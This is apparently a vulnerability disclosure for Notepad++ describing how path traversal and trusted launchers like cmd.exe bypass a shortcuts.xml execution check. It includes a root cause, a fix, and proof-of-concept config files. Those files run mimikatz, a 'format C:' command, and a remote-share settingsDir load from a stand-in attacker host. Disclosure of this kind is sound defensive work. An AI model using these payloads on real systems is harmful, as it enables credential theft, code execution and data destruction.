Vulnerability Summary
Product: Notepad++ v8.9.6.1 (latest patched version)
Type: CWE-42 (Path Traversal) / CWE-59 (Improper Link Resolution)
Impact: Arbitrary Code Execution without user confirmation
CVSS 3.1: 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Bypasses: CVE-2026-48800 (shortcuts.xml command validation)
Description
The CVE-2026-48800 patch adds isInTrustedDirectory() validation in Command::run() (RunDlg.cpp) before calling ShellExecute(). This function checks whether the resolved executable path is under a trusted directory:
C:\Program Files\C:\Program Files (x86)\C:\Windows\System32\C:\Windows\
The vulnerability: isInTrustedDirectory() does NOT canonicalize the path before checking. It uses a prefix-based check (PathIsPrefix() or equivalent) that matches paths starting with trusted directory strings. A path traversal using ..\..\ after a trusted directory prefix passes the check while resolving to an untrusted location.
Confirmed Bypass Vectors
Bypass 1: Path Traversal (CRITICAL)
| Command in shortcuts.xml | Resolved Path | Warning? | Result |
|---|---|---|---|
C:\Users\[USERNAME]\Downloads\mimikatz.exe |
Untrusted path | ✅ Yes — warning shown | Blocked |
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe |
Same mimikatz.exe | ❌ No warning | Executes silently |
C:\Program Files\..\..\Users\[USERNAME]\Downloads\payload.exe |
Same payload | ❌ No warning | Executes silently |
Proof: On v8.9.6.1, C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe in shortcuts.xml executes mimikatz without any security dialog, while the direct path C:\Users\[USERNAME]\Downloads\mimikatz.exe correctly shows a warning.
Bypass 2: Trusted Executable as Launcher (HIGH)
| Command in shortcuts.xml | Resolved Executable | Warning? | Result |
|---|---|---|---|
cmd.exe /c calc.exe |
C:\Windows\System32\cmd.exe (trusted) |
❌ None | Executes silently |
powershell.exe -ExecutionPolicy Bypass -Command calc.exe |
C:\Windows\System32\...\powershell.exe (trusted) |
❌ None | Executes silently |
rundll32.exe javascript:...\mshtml,RunHTMLApplication |
C:\Windows\System32\rundll32.exe (trusted) |
❌ None | Executes silently |
Proof: On v8.9.6.1, cmd.exe /c calc.exe in shortcuts.xml executes calc.exe without any security dialog.
Root Cause Analysis
The isInTrustedDirectory() function in RunDlg.cpp performs a check similar to:
bool isInTrustedDirectory(const wchar_t* path) {
wchar_t trustedDirs[][MAX_PATH] = {
L"C:\\Program Files\\",
L"C:\\Program Files (x86)\\",
L"C:\\Windows\\System32\\",
L"C:\\Windows\\",
};
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, path)) // BUG: checks prefix without canonicalization
return true;
}
return false;
}The PathIsPrefix() (or StartsWith()) check matches C:\Windows\System32\..\..\Users\... because it starts with C:\Windows\System32\. The ..\..\ traversal components are NOT resolved before the prefix check.
Correct fix: Canonicalize the path using PathCanonicalize() or GetFullPathNameW() BEFORE checking:
bool isInTrustedDirectory(const wchar_t* path) {
wchar_t canonicalPath[MAX_PATH] = {};
// Resolve .., ., and redundant separators
if (!PathCanonicalize(canonicalPath, path))
return false;
// NOW check against trusted directories
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, canonicalPath))
return true;
}
return false;
}Attack Scenarios
Scenario 1: Direct config file write
Any process running under the same user account can modify %APPDATA%\Notepad++\shortcuts.xml:
<Command name="Open Document" Ctrl="no" Alt="yes" Shift="no" Key="112">
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
</Command>When the user presses Alt+F1 (or clicks Run → Open Document), mimikatz executes without any warning dialog.
Scenario 2: Malicious shortcut (.lnk) with -settingsDir=
A .lnk file can redirect NPP to load shortcuts.xml from an attacker-controlled directory:
notepad++.exe -settingsDir=\\attacker\share\config
The remote shortcuts.xml contains the path traversal bypass. NPP loads it and the malicious command executes without warning.
Scenario 3: Cloud sync poisoning
If the user syncs %APPDATA%\Notepad++ via OneDrive, Dropbox, or similar, an attacker who compromises the cloud storage can inject the path traversal bypass into shortcuts.xml.
Scenario 4: cmd.exe launcher chain
Even without path traversal, cmd.exe and powershell.exe are in trusted directories and can execute arbitrary commands:
<Command name="Format C:" Ctrl="no" Alt="yes" Shift="no" Key="112">
cmd.exe /c format C: /fs:NTFS /q /y
</Command>Proof of Concept
PoC 1: shortcuts.xml with path traversal bypass
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<InternalCommands />
<Macros />
<UserDefinedCommands>
<Command name="Run Mimikatz" Ctrl="no" Alt="yes" Shift="no" Key="112">
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe
</Command>
</UserDefinedCommands>
<PluginCommands />
<ScintillaKeys />
</NotepadPlus>PoC 2: shortcuts.xml with cmd.exe launcher
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<InternalCommands />
<Macros />
<UserDefinedCommands>
<Command name="Open CMD" Ctrl="no" Alt="yes" Shift="no" Key="112">
cmd.exe /c calc.exe
</Command>
</UserDefinedCommands>
<PluginCommands />
<ScintillaKeys />
</NotepadPlus>PoC 3: -settingsDir= chain attack
notepad++.exe -settingsDir="\\attacker\share\config"Where \\attacker\share\config\shortcuts.xml contains either bypass vector.
Patch
Credits
Michele Piccinni
Trung Nguyen
Noman Nasir Minhas (@NomanNasirMinhas)
Vibhum Dubey